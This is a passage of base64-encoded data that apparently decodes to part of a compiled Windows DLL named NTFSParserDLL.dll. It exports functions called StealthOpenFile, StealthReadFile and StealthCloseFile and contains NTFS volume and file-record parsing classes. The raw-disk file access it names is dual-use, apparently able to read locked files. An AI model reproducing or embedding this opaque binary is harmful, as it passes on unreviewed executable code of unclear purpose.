XAEAtFwBANBcAQDiXAEA+FwBAApdAQAWXQEALl0BADxdAQBSXQEAZF0BAHBdAQB4XQEAiF0BAJRdAQCqXQEAtl0BAMJdAQDaXQEA7F0BAPZdAQACXgEADl4BACBeAQAwXgEATF4BAGpeAQCSXgEApl4BALpeAQDGXgEA1F4BAOJeAQDsXgEA/l4BABJfAQAkXwEAMl8BAEpfAQBgXwEAel8BAJBfAQCqXwEAxF8BAN5fAQD2XwEADmABACBgAQAuYAEARGABAFRgAQBkYAEAdGABAIZgAQCaYAEAqmABALpgAQDOYAEAAAAAABEFV2lkZUNoYXJUb011bHRpQnl0ZQBmBFNldEZpbGVQb2ludGVyAAACAkdldExhc3RFcnJvcgAAwANSZWFkRmlsZQAAZwNNdWx0aUJ5dGVUb1dpZGVDaGFyAFIAQ2xvc2VIYW5kbGUAiABDcmVhdGVGaWxlQQBLRVJORUwzMi5kbGwAAOoARW5jb2RlUG9pbnRlcgDKAERlY29kZVBvaW50ZXIAAANJc0RlYnVnZ2VyUHJlc2VudAAEA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAhgFHZXRDb21tYW5kTGluZUEAxQFHZXRDdXJyZW50VGhyZWFkSWQAALEDUmFpc2VFeGNlcHRpb24AABgEUnRsVW53aW5kAOsCSW50ZXJsb2NrZWREZWNyZW1lbnQAABkBRXhpdFByb2Nlc3MAFwJHZXRNb2R1bGVIYW5kbGVFeFcAAEUCR2V0UHJvY0FkZHJlc3MAANQCSGVhcFNpemUAALIEU2xlZXAAZAJHZXRTdGRIYW5kbGUAACUFV3JpdGVGaWxlABQCR2V0TW9kdWxlRmlsZU5hbWVXAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwDvAkludGVybG9ja2VkSW5jcmVtZW50AAAKA0lzVmFsaWRDb2RlUGFnZQBoAUdldEFDUAAANwJHZXRPRU1DUAAAcgFHZXRDUEluZm8AaQJHZXRTdHJpbmdUeXBlVwAAcwRTZXRMYXN0RXJyb3IAANMEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAClBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgDjAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAwAFHZXRDdXJyZW50UHJvY2VzcwDABFRlcm1pbmF0ZVByb2Nlc3MAAMUEVGxzQWxsb2MAAMcEVGxzR2V0VmFsdWUAyARUbHNTZXRWYWx1ZQDGBFRsc0ZyZWUAYwJHZXRTdGFydHVwSW5mb1cAGAJHZXRNb2R1bGVIYW5kbGVXAABKAkdldFByb2Nlc3NIZWFwAADzAUdldEZpbGVUeXBlANEARGVsZXRlQ3JpdGljYWxTZWN0aW9uABMCR2V0TW9kdWxlRmlsZU5hbWVBAACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMEBR2V0Q3VycmVudFByb2Nlc3NJZAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAYQFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAAA+A0xvYWRMaWJyYXJ5RXhXAADSAkhlYXBSZUFsbG9jAIoDT3V0cHV0RGVidWdTdHJpbmdXAAA/A0xvYWRMaWJyYXJ5VwAALQNMQ01hcFN0cmluZ1cAAJoBR2V0Q29uc29sZUNQAACsAUdldENvbnNvbGVNb2RlAABnBFNldEZpbGVQb2ludGVyRXgAAIcEU2V0U3RkSGFuZGxlAAAkBVdyaXRlQ29uc29sZVcAVwFGbHVzaEZpbGVCdWZmZXJzAACPAENyZWF0ZUZpbGVXAAAAAAAAAAAA0BUUUgAAAAAmYQEAAQAAAAMAAAADAAAACGEBABRhAQAgYQEAQEIAAIA+AACAQQAAOGEBAElhAQBZYQEAAAABAAIATlRGU1BhcnNlckRMTC5kbGwAU3RlYWx0aENsb3NlRmlsZQBTdGVhbHRoT3BlbkZpbGUAU3RlYWx0aFJlYWRGaWxlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACk/wAQAAAAAC4/QVZiYWRfYWxsb2NAc3Rk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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABbcABAW3AAQFtwAEBbcABAW3AAQFtwAEBbcABAW3AAQFtwAEBbcABAAAAAAAAAAAGh7ARAuAAAAZHsBEDyQARA8kAEQPJABEDyQARA8kAEQPJABEDyQARA8kAEQPJABEH9/f39/f39/uHsBEECQARBAkAEQQJABEECQARBAkAEQQJABEECQARAuAAAAAAAAAIg7ARCKPQEQgJABEAAAAACAkAEQAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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MiQyLDI0MjwyRDJMMlQyXDJkMmwydDJ8MoQyjDKUMpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNvA+9D74Pvw+AD8EPwg/DD8QPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/fD+AP4Q/iD+MP5A/lD+YP5w/oD+kP6g/rD/UP9g/3D8AAAAAAQBAAAAArDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOXw6gDqEOog6AAAAEAEAXAMAADgyPDJAMkQy3DLkMuwy9DL8MgQzDDMUMxwzJDMsMzQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkN2w3dDd8N4Q3jDeUN5w3pDesN7Q3vDfEN8w31DfcN+Q37Df0N/w3BDgMOBQ4HDgkOCw4NDg8OEQ4TDhUOFw4ZDhsOHQ4fDiEOIw4lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5+DkAOgg6EDoYOiA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8aDxwPHg8gDyIPJA8mDygPKg8sDy4PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/gD+IP5A/mD+gP6g/sD+4P8A/yD/QP9g/4D/oP/A/+D8AAAAgAQBQAAAAADAIMBAwGDAgMCgwMDA4MEAwSDBQMFgwYDBoMHAweDCAMIgwkDCYMKAwqDCwMLgwwDDIMNAw2DDgMOgw8DD4MAAxCDEQMQAAADABAMwAAABQM1QzWDNcM2AzZDNoM2wzcDN0M3gzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6gzrDOwM7QzuDO8M8AzxDPIM8wz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNHQ0eDR8NIA0hDSINIw0kDSUNJg0nDSgNKQ0qDSsNLA0tDS4NLw0wDTENMg0zDTQNNQ0AEABALQCAACEM4gzjDOQM5QzmDOcM6AzpDOoM6wzsDO0M7gzvDPAM8QzyDPMM9Az1DPYM9wz4DPkM+gz7DPwM/Qz+DP8MwA0BDQINAw0EDQUNBg0HDQgNCQ0KDQsNDA0NDQ4NDw0QDRENEg0TDRQNF